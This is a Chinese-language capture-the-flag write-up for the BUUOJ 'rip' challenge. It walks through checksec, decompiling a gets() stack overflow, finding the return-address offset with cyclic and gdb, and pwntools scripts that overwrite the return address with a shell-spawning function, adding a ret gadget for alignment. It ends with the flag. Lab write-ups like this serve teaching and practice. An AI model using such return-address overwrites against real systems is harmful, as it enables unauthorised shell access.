Buuoj rip

  1. checksec pwn1

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

  1. 拖到IDA64打开,找到main直接F5反编译。
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

所以,gets()可能存在栈溢出漏洞,但并不清楚如何利用

  1. 发现fun(),地址0x401186
int fun()
{
  return system("/bin/sh");
}
  1. 所以只要将函数返回地址覆盖成fun()的地址即可获得shell。再回过头来看看需要gets多少字节的数据后才能开始覆盖返回地址。计算方法参考
    首先cyclic 200,生成以下

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

然后gdb pwn1,进入调试环境后输入r运行,当提示输入时将以上生成的字符串贴进来输入。
x /wx $rsp显示位于栈顶的内容

0x7fffffffdeb8: 0x61616761

输入q退出调试环境,再cyclic -l 0x61616761看看偏移量是多少

23

当然从IDA查看main的栈信息有

也能得到23这个结果,但是这种方法有时会不准确

所以理论上需要先"a"*23才能覆盖到返回地址

  1. 所以利用代码应为
from pwn import *

p = remote('node3.buuoj.cn', 28769)
payload = 'a'*23 + p64(0x401186)
p.sendline(payload)
p.interactive()

但是实际上跑不通,试了下payload = 'a'*15 + p64(0x401186)能拿到flag。(雾
请教大佬并参考后知,是Ubuntu18调用system()时需要对其栈,需附加一个ret来保持堆栈平衡。在IDA中查得retn为0x401198

  1. 因此exp如下:
from pwn import *

p = remote('node3.buuoj.cn', 28769)
retn = 0x401198

payload = 'a'*23+p64(retn)+p64(0x401186)
p.sendline(payload)
p.interactive()
  1. python exp.py,进入交互环境直接ls
  2. cat flag

flag{c2ae0909-bd05-44b6-b674-cfdb8386302e}

原文地址:https://www.cnblogs.com/vict0r/p/13773132.html